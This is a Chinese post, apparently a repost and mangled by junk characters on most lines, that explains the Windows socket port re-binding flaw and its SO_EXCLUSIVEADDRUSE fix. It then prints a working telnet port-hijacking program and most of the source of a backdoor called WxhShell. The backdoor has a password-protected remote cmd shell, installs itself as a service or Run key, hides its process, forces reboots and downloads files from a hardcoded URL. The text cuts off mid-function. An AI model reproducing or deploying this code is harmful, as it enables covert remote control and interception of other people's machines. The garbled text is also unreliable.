在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
} Fw/WD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
w6B'& %lr<; saddr.sin_family = AF_INET;
Ps0g jJX-S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oj8_e xx iva?3.t bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e)(m0m\ gwf*M3( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4 yk!T %(9BWO 这意味着什么?意味着可以进行如下的攻击:
kLr6j-X wRc=;f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qrWeV8ur+ {3jV ,S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#Cwzk{p( ZL0':7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/7bIE!Cn [P,/J$v^~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
eH*u,/ fnZa IV=H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
oX2J2O z_Nw%V4kr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qkM<t?uS -y@5% _- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yf2I%\p} Ar+<n 2;[ #include
v}$s,j3NO #include
v(HCnC #include
E^RPK{zO #include
liYR8 D
| DWORD WINAPI ClientThread(LPVOID lpParam);
;w^-3 U7: int main()
zF&>1y.$ {
7c:5Ey WORD wVersionRequested;
!PaDq+fB DWORD ret;
=<_ei|ME WSADATA wsaData;
";)SA,Z BOOL val;
G)I lkA@ SOCKADDR_IN saddr;
<2\4eusk SOCKADDR_IN scaddr;
?z:Xdx\l int err;
Tl.%7) SOCKET s;
)$#
Ku2X SOCKET sc;
DwQaj"1<% int caddsize;
[vIHYp HANDLE mt;
/1Xji0LK DWORD tid;
HuX{8nl a wVersionRequested = MAKEWORD( 2, 2 );
Rwy<#9R[x err = WSAStartup( wVersionRequested, &wsaData );
M5SAlj if ( err != 0 ) {
IX|2yu4 printf("error!WSAStartup failed!\n");
,W'?F9Y\ return -1;
HxC_nh }
l
)hg!( saddr.sin_family = AF_INET;
w% Ug9 :QSCky*i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e[3rz%'Q aZe[Nos saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bS0z\!1 saddr.sin_port = htons(23);
bdn{Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IZ2c<B5& {
QE:%uT printf("error!socket failed!\n");
Cq7EdK;x return -1;
t/6t{*-w }
] -6=+\]
val = TRUE;
Z/z(P8#U\ //SO_REUSEADDR选项就是可以实现端口重绑定的
%N"9'g> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]LvpYRU$P {
zU+` o?al printf("error!setsockopt failed!\n");
qlT'gUt=H return -1;
; r SpM }
pg}9baW? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x5Sc+5?* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u&iMY3= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,j4 ;:F +^St"GWY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^-CQ9r* {
4= VAJ ret=GetLastError();
zc<C %t[~y printf("error!bind failed!\n");
k^|P8v+"D return -1;
I2@pkVv3z }
`-l,`7e' listen(s,2);
E7eOKNVC# while(1)
*wml
4lh {
~Wq[H caddsize = sizeof(scaddr);
UB3b //接受连接请求
p;S<WJv k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
oG! S(95 if(sc!=INVALID_SOCKET)
C|kZT<,] {
/f!CX|U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)~q@2^ if(mt==NULL)
C<!%VHs {
B!vI^W printf("Thread Creat Failed!\n");
t^h{D break;
\W<r`t4v }
(
}DCy23 }
bg\~" CloseHandle(mt);
S[o_$@| }
AiXxn'&i closesocket(s);
EUvxil WSACleanup();
-[kbHrl& return 0;
3P1OyB }
Pv.z~~lY DWORD WINAPI ClientThread(LPVOID lpParam)
;cBFft}D {
LbGyD;#_ SOCKET ss = (SOCKET)lpParam;
+jcg[|-'/ SOCKET sc;
U>^u!1X unsigned char buf[4096];
,!"\L~6 SOCKADDR_IN saddr;
;c5Q" long num;
[XA
f=x DWORD val;
o0:[,ock DWORD ret;
o=`FGowF //如果是隐藏端口应用的话,可以在此处加一些判断
,|4%YaN.3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
dm60O8 saddr.sin_family = AF_INET;
?)9mHo^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
J4
yT| saddr.sin_port = htons(23);
;J3az` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]KMOLe6( {
g;U f? printf("error!socket failed!\n");
Lh~Ym<CeN return -1;
z5CZ!"&v }
e2~i@vq val = 100;
F=C8U$'S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z9rs,_A {
F`9;s@V* ret = GetLastError();
Dm':D return -1;
U@$Kp>X }
j|f$:j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v4}kmH1 {
Cc:m~e6r ret = GetLastError();
ZbJUOa?WF return -1;
~%9ofXy }
:F:<{]oG_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t
7D2k2x9 {
NJb5HoYZ printf("error!socket connect failed!\n");
DXAA[hUjF closesocket(sc);
Hh=D:kE closesocket(ss);
`F:PWG` return -1;
{q2H_H }
;|v6^2H" while(1)
a_5 `9B L {
JHN35a+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XfFZ;ul //如果是嗅探内容的话,可以再此处进行内容分析和记录
P%5h!Z2m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t@-:e^ v num = recv(ss,buf,4096,0);
%J\1W"I? if(num>0)
.$>?2|gRv send(sc,buf,num,0);
rt5UT~ else if(num==0)
Lxm1.TOJ break;
#`5 M(
o num = recv(sc,buf,4096,0);
Fkas*79 if(num>0)
.IYE+XzV send(ss,buf,num,0);
8o~<\eF% else if(num==0)
)J+vmY~& break;
)2mi6[qs0l }
Pg%OFhA closesocket(ss);
8Z>ZjNG closesocket(sc);
UO}Kk* return 0 ;
@RKw1$BA }
k*\=IacX0 vB, X) Qz;2RELz ==========================================================
95giqQ(N !8]W"@qb 下边附上一个代码,,WXhSHELL
z#b31;A@$ Sg1$/+ ==========================================================
@*W,Jm3Y c$
Kn.<a #include "stdafx.h"
vyT$IdV2 ]*-9zo0 #include <stdio.h>
ulsr)Ik #include <string.h>
w}pFa76rm #include <windows.h>
=rS z>l #include <winsock2.h>
0V*L",9M #include <winsvc.h>
'3eP<earRP #include <urlmon.h>
<#ujm fD 6sl*Ko[ #pragma comment (lib, "Ws2_32.lib")
<2w@5qL #pragma comment (lib, "urlmon.lib")
]J)WcM: )RlaVAtM #define MAX_USER 100 // 最大客户端连接数
Gk2\B]{ #define BUF_SOCK 200 // sock buffer
BuI&kU,WY #define KEY_BUFF 255 // 输入 buffer
tsq]QTA* b#|M-DmT #define REBOOT 0 // 重启
uY5 &93R #define SHUTDOWN 1 // 关机
Ps0'WRJnx I'G$: GX #define DEF_PORT 5000 // 监听端口
_I+#K M ;ej;<7+ #define REG_LEN 16 // 注册表键长度
%VsuGA #define SVC_LEN 80 // NT服务名长度
^r73(8{) v#:#w.]-Y // 从dll定义API
H Kx2QFB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\(jSkrrD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R@t?!`f!+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
25h.u>6@{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$I!vQbi $zq`hI!1 // wxhshell配置信息
{[o=df/ struct WSCFG {
o6K\z+.{ int ws_port; // 监听端口
d_Ll,*J9 char ws_passstr[REG_LEN]; // 口令
%1a\"F![ int ws_autoins; // 安装标记, 1=yes 0=no
-uenCWF\# char ws_regname[REG_LEN]; // 注册表键名
`TKe+oS) char ws_svcname[REG_LEN]; // 服务名
N54U
[sy char ws_svcdisp[SVC_LEN]; // 服务显示名
azz6_qk8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
'~%1p_0dq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RvvK`}/6 int ws_downexe; // 下载执行标记, 1=yes 0=no
tlu-zUsi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(F~i char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\MQ|( zCj]mH`es' };
ZffK];D t.c XrX`k // default Wxhshell configuration
h djv/ struct WSCFG wscfg={DEF_PORT,
Hb=4k)-/] "xuhuanlingzhe",
*^ncb,1+i 1,
i1ur>4Ns "Wxhshell",
dGf{d7 D "Wxhshell",
N|?"=4Z? "WxhShell Service",
"zL<:TQ" "Wrsky Windows CmdShell Service",
?8fa/e "Please Input Your Password: ",
([iMOE[D3 1,
mu04TPj "
http://www.wrsky.com/wxhshell.exe",
{LVii}< "Wxhshell.exe"
"zJ1vIZY };
1XUsr;Wz Y~hBVz2g // 消息定义模块
!]7Z),s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o X )r4H? char *msg_ws_prompt="\n\r? for help\n\r#>";
DzYi>
E:* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7NV1w*>/ char *msg_ws_ext="\n\rExit.";
i5w char *msg_ws_end="\n\rQuit.";
c?"#x-<1s char *msg_ws_boot="\n\rReboot...";
L+7L0LbNU char *msg_ws_poff="\n\rShutdown...";
Zm!T4pL char *msg_ws_down="\n\rSave to ";
l4u_Z:<w *KN ' 0Z@W char *msg_ws_err="\n\rErr!";
|E&a3TQW char *msg_ws_ok="\n\rOK!";
p)RASIB oOUL<ihe? char ExeFile[MAX_PATH];
6MvjNbQ int nUser = 0;
SwpS6 HANDLE handles[MAX_USER];
i[sHPEml(5 int OsIsNt;
d4t%/ Uh DX l3 SERVICE_STATUS serviceStatus;
C:xgM'~+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
!#`
.Mv Z YvL5>; // 函数声明
Vb az#I int Install(void);
URdCV{@42 int Uninstall(void);
=<MSM\Rb int DownloadFile(char *sURL, SOCKET wsh);
FM$XMD0= int Boot(int flag);
vx62u29m void HideProc(void);
HWOs int GetOsVer(void);
~CCRs7V/L int Wxhshell(SOCKET wsl);
w4P?2-kB void TalkWithClient(void *cs);
"bZ%1)+ int CmdShell(SOCKET sock);
n*{aN}auJ int StartFromService(void);
YAQ]2<H int StartWxhshell(LPSTR lpCmdLine);
|N/Grk4 {fFZ%$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]Qm$S5tU VOID WINAPI NTServiceHandler( DWORD fdwControl );
s9+Rq*Qd AP5[}$TT // 数据结构和表定义
0F> ils SERVICE_TABLE_ENTRY DispatchTable[] =
5&Al {
k#X~+}N^ {wscfg.ws_svcname, NTServiceMain},
}vzP\ {NULL, NULL}
1Kszpt(Ld };
4v9jGwnz t /5 yjON{ // 自我安装
yIy'"BCxM int Install(void)
KK$t3e) {
AGu#*,K char svExeFile[MAX_PATH];
mrWPTCD{ HKEY key;
djJD'JL strcpy(svExeFile,ExeFile);
BBuI|lr `u6CuH5 // 如果是win9x系统,修改注册表设为自启动
Yw @)0%G if(!OsIsNt) {
" O0p.o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.UX`@Q:Gp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_#32hAI RegCloseKey(key);
N$]B$vv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IlN: NS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0%J0.USkM7 RegCloseKey(key);
d1CQ;,Df< return 0;
OBY^J1St }
z7TMg^9# }
S;@nPzhc }
`R[cM; c2 else {
^f6pw! 1.Kun !w // 如果是NT以上系统,安装为系统服务
E,IeW {6s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wT\JA4 if (schSCManager!=0)
{<ms;Oi' {
Nini8@d SC_HANDLE schService = CreateService
N)yCGo (
>,%or cN schSCManager,
eka<mq|W wscfg.ws_svcname,
>u?m
Bx wscfg.ws_svcdisp,
PY81MTv0; SERVICE_ALL_ACCESS,
EPeKg{w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;::]R'F[ SERVICE_AUTO_START,
RW"QUT SERVICE_ERROR_NORMAL,
709/'#- ^ svExeFile,
g{ () NULL,
suOWmqLs NULL,
[G!#y NULL,
LH}]& >F NULL,
}ejZk
bP NULL
(8"advc6 );
CghlyT if (schService!=0)
U80h0t% {
p~Wy`g- CloseServiceHandle(schService);
ZLIt3 CloseServiceHandle(schSCManager);
lKdd3W"o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+H{TV#+r strcat(svExeFile,wscfg.ws_svcname);
=D~>$Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ohU}ST:9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&&PXWR!%] RegCloseKey(key);
njxfBA: return 0;
XoNBq9Iu }
gOy;6\/ }
}G/!9Zq CloseServiceHandle(schSCManager);
WuuF&0?8C }
Q{[l1: }
,,G[360 ,A%p9 return 1;
Xb<>AzEM }
/\.[@] .Gt_~x // 自我卸载
LvqWA} int Uninstall(void)
r'(*# {
8bJj3vr HKEY key;
d/Sw.=vq ;rRV=$y if(!OsIsNt) {
Z% DJ{!Hnh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nEt{ltsS0 RegDeleteValue(key,wscfg.ws_regname);
S=<OS2W7+r RegCloseKey(key);
:X}n[K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vf5q8/a RegDeleteValue(key,wscfg.ws_regname);
9?iA~r|+ RegCloseKey(key);
OKPNsN return 0;
xp? YM35 }
F| jl=i }
\483S]_-z{ }
5OCt Q4u else {
\RqH"HqD 9.%t9RM^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZEK,Z[' if (schSCManager!=0)
9:E: 3%% {
VqUCcT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{'p <
o$(S if (schService!=0)
IeZ9 "o h {
*Z$W"JP if(DeleteService(schService)!=0) {
'%X29B5 CloseServiceHandle(schService);
esiU._:u CloseServiceHandle(schSCManager);
sW-0G$,| return 0;
!r8_'K5R( }
[vY#9W"! CloseServiceHandle(schService);
5sANF9o! }
7B<,nKd CloseServiceHandle(schSCManager);
Xs{PAS0 }
W#+f2 RR }
-=cm7/X j1;<3)%0 return 1;
r+d+gO. }
y/E:6w hVz] wKP // 从指定url下载文件
mlxtey6H3 int DownloadFile(char *sURL, SOCKET wsh)
@j!(at4B {
HSWki';G HRESULT hr;
Er;q s *f char seps[]= "/";
xG;;ykh.] char *token;
l$Vy\CfK3n char *file;
3%+!qm char myURL[MAX_PATH];
I 12Zh7Cc: char myFILE[MAX_PATH];
cQ]c!G|a4
wz)s strcpy(myURL,sURL);
IG{lr token=strtok(myURL,seps);
,]@K,|pC) while(token!=NULL)
eR,/}g\ {
]
s^7c file=token;
.*f6n| token=strtok(NULL,seps);
tz8fZ*n }
k33\;9@k `#'j3,\6 GetCurrentDirectory(MAX_PATH,myFILE);
MhR` strcat(myFILE, "\\");
b*(K;`9)B strcat(myFILE, file);
}`2a>N:
& send(wsh,myFILE,strlen(myFILE),0);
{_-T! yb send(wsh,"...",3,0);
=tbfBK+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]tXIe?>9 if(hr==S_OK)
Vz$xV! return 0;
M(nzJ else
4#}aLP return 1;
Gh/nNwyu< %.hJDX\j }
;:_AOb31N 1)^\R(l // 系统电源模块
PJ;WNo8 int Boot(int flag)
[|ZFei)r {
xVw@pR; HANDLE hToken;
%L^( eTi[ TOKEN_PRIVILEGES tkp;
Pn^ `_ `u}_O(A1pA if(OsIsNt) {
;py9,Wno OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>O<a9wz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#Lpw8b6 tkp.PrivilegeCount = 1;
L{P'mG=4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZM})l9_o" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u4IK7[= if(flag==REBOOT) {
p@kRo#~l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}2@Z{5sh) return 0;
y%ij)vQY }
.SjJG67OyA else {
D
h;5hu2" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
SGSyO0O return 0;
\?]U*)B.r }
{ibu0 }
h$kz3r;b," else {
{j9TzR if(flag==REBOOT) {
J{^md0l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o_`6oC"s return 0;
b6
%m*~ }
!p/SX>NJ else {
@]%eL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ij7P-5=< return 0;
gkO^J{_@q }
cFw-JM< }
>STthPO `X5!s return 1;
_$96y]Bpi }
tu<<pR> 3!b
$R?kZ // win9x进程隐藏模块
U!o7Nw@z void HideProc(void)
F$)l8} {
~w3u(X$m" pe
vXixl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@JXpD8jn if ( hKernel != NULL )
tO{{ci$-T {
l<w7
\a6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@Suz-j(H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
TG}owG]] FreeLibrary(hKernel);
#0r~/gW }
8j;Un] yf9"Rc~+ return;
U}5fjY }
>lV,K1Z .p!
DVQ"a // 获取操作系统版本
ekvs3a^ int GetOsVer(void)
uVUU1@ {
wHbkF#[:i OSVERSIONINFO winfo;
86OrJdD8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#+1|O;PB# GetVersionEx(&winfo);
u:f ]|Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`Y:]&w return 1;
i"}z9Ae~. else
!CUl1L1DSi return 0;
_#sy }
\1!Q.V ]UkH}Pt'3 // 客户端句柄模块
-`I|=lBz{H int Wxhshell(SOCKET wsl)
A,.X {
D_d>A+ SOCKET wsh;
QMBT8x/+_' struct sockaddr_in client;
Mwnr4$] DWORD myID;
OM[MRZEh G `-uE(qp while(nUser<MAX_USER)
!^%3 {
d <}'eBT' int nSize=sizeof(client);
@}Hu)HO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#gQn3.PX+y if(wsh==INVALID_SOCKET) return 1;
'hjEd. oIE
1j? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
gS'{JZu2 if(handles[nUser]==0)
fB3Jp~$ closesocket(wsh);
Ma|4nLC} else
D`JBK?~ nUser++;
Y/5M)AyJt }
A0Mjk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@3?>[R =:&xdphZ+ return 0;
R'v~:wNTNs }
=sYILe[ fs
ufYIf // 关闭 socket
zvV&Hks- void CloseIt(SOCKET wsh)
I1fpX | {
lD,2])> closesocket(wsh);
- Z,Qj"V nUser--;
'GJB9i+a^ ExitThread(0);
|Mq+QDTTw~ }
/A7( `l;6 5!F;|*vC8 // 客户端请求句柄
I_<VGU k void TalkWithClient(void *cs)
+X/a+y- {
'3b\d:hN ">bhxXeiN SOCKET wsh=(SOCKET)cs;
ln82pQD2Y~ char pwd[SVC_LEN];
LU:xmDv char cmd[KEY_BUFF];
'|IcL1c=I char chr[1];
>B{NxL3-> int i,j;
pt<zyH3Z 5tlRrf while (nUser < MAX_USER) {
t neTOj U+!RIF[Je if(wscfg.ws_passstr) {
"|8oFf)l@B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|qw0:c=7! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z;qDl%AF //ZeroMemory(pwd,KEY_BUFF);
[KK
|_ i=0;
z+"$G while(i<SVC_LEN) {
072C!F }emUpju<C // 设置超时
{fXkbMO| fd_set FdRead;
vXDs/,`r struct timeval TimeOut;
<VxA&bb7c FD_ZERO(&FdRead);
^~H}N$W"-q FD_SET(wsh,&FdRead);
KOy{? TimeOut.tv_sec=8;
i|^Q{3?o# TimeOut.tv_usec=0;
6iU&9Z<% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#%E`~&[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~tp]a]yV K}l3t2uk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>G5aFk pwd
=chr[0]; ~~/,2^
if(chr[0]==0xd || chr[0]==0xa) { ]M5~p^ RB
pwd=0; juHL$SGC
break; =*\.zr
} i6if\B
i++; "h+Z[h6T
} eI1zRoIl-
ukR0E4p
// 如果是非法用户,关闭 socket D^[l~K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A 6S0dX
} 6(8F4[D
{W,5]-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7h
54j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZsP ^<
Cf[tNq
while(1) { Ypyi(_G(?>
GY$Rkg6d
ZeroMemory(cmd,KEY_BUFF); V"#0\|]m
T)zk2\u
// 自动支持客户端 telnet标准 Nn05me"X
j=0; qd0G sr}j
while(j<KEY_BUFF) { F1yn@a "=J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qf0pi&q
cmd[j]=chr[0]; #`SAc`:n
if(chr[0]==0xa || chr[0]==0xd) { g6Vkns4
cmd[j]=0; \ja6g
break; ZG=]b%
} &ivU4rEG
j++; |
1B0
} Bq8#'K2i,
tYD8Y
// 下载文件 b-&rMML
if(strstr(cmd,"http://")) { *Dp&;, b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E'WXi!>7p
if(DownloadFile(cmd,wsh)) [5P-K{Ko
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {I{ 0rV
else >fC&bab
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M1Q&)am
} ]ae(t`\l^
else { 1`8s
"T
+
f6LG 0q
switch(cmd[0]) { p cLKE
ZK
f+:iz'b#U
// 帮助 [E9iuym
case '?': { ,Q"'q0hM=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0fqcPi
break; =IL\T8y09
} +-!3ruwSn
// 安装 ]t0o%w
case 'i': { u#ya
8
if(Install()) b~.$1oZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nn_fhc>
else {7e(0QK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !~E/Rp
break; n{QyqI
} eCI'<^
// 卸载 mP^ B2"|q
case 'r': { t=7Gfv
if(Uninstall()) EE'2<"M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ=bd{a6
else F+*E}QpM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{$suPk
break; v/ry" W
} K\-N'M!Z
// 显示 wxhshell 所在路径 ]>~.U~
case 'p': { U4d7-&U
char svExeFile[MAX_PATH]; ^y>V-R/N
strcpy(svExeFile,"\n\r"); C@-Hm
strcat(svExeFile,ExeFile); Z. ${WZW
send(wsh,svExeFile,strlen(svExeFile),0); 7#)k-S!B
break; le5@WG/x
} $j- Fm:ZIA
// 重启 rai'x/Ut}+
case 'b': { ?h `,@~6u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8J,^O04<
if(Boot(REBOOT)) B>i%:[-e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V_
6K ?~j
else { ^?e[$}
closesocket(wsh); \gP?uJ
ExitThread(0); pqg2#@F.
} 72|g zm
break; q;AD#A|\
} %ZRv+}z
// 关机 HP*)^`6X
case 'd': { 0-p^ oA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -,
+o*BP
if(Boot(SHUTDOWN)) _CNXyFw.7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ps0Cc _
else { hEjvtfM9\-
closesocket(wsh); n*GB`I*g
ExitThread(0); 1<9d[N*
} ok--Jyhv#
break; 5{-Hg[+9
} p cD}SY
// 获取shell !wAnsK
case 's': { igOX 0
CmdShell(wsh); t_^cqEr
closesocket(wsh); Rs<S}oeLn
ExitThread(0); q!&:y7O8
break; gB#!g@
}
G,A?yM'Vw
// 退出 e[k\VYj[
case 'x': { Cdl"TZ<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4=q4_ \_T
CloseIt(wsh); !T`g\za/
break; em'3 8L|(
} #p"F$@N
// 离开 Tx?s?DwC
case 'q': { KUW )F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ft8
closesocket(wsh); $I`,nN
WSACleanup(); v*excl~
exit(1); {(-TWh7V
break; uYTyR;a
} G]l/L\{
} je\]j-0$u
} s,J\nbj0h
lN.&46
e
// 提示信息 %.[AZ>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bjUe+#BL
} 1|*%
} /L,iF?7
]mBlXE:Z
return; 2wU,k(F_
} @bkSA
a&)$s;
// shell模块句柄 6wiuNGZb
int CmdShell(SOCKET sock) 2QHu8mFU
{ Md:*[]<~
STARTUPINFO si; sC.cMZ e
ZeroMemory(&si,sizeof(si)); L-W*h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qm3RXO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7B _Wz9y
PROCESS_INFORMATION ProcessInfo; <y-2ovw*
char cmdline[]="cmd"; cCtd\/ \
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wbmqf
s
return 0; N*w{NB 7L
} #6AcM"
n-9X<t|*?a
// 自身启动模式 +],2smd@N
int StartFromService(void) yOjTiVQ9
{ mX
SLH'
typedef struct o,1Fzdh6(
{ iaJN~m\
M
DWORD ExitStatus; P`hg*"<V
DWORD PebBaseAddress; My9fbT
DWORD AffinityMask; ;hDIoSz
DWORD BasePriority; D>#Jh>4
ULONG UniqueProcessId; kJXy)
ULONG InheritedFromUniqueProcessId; +]Bx4r?p
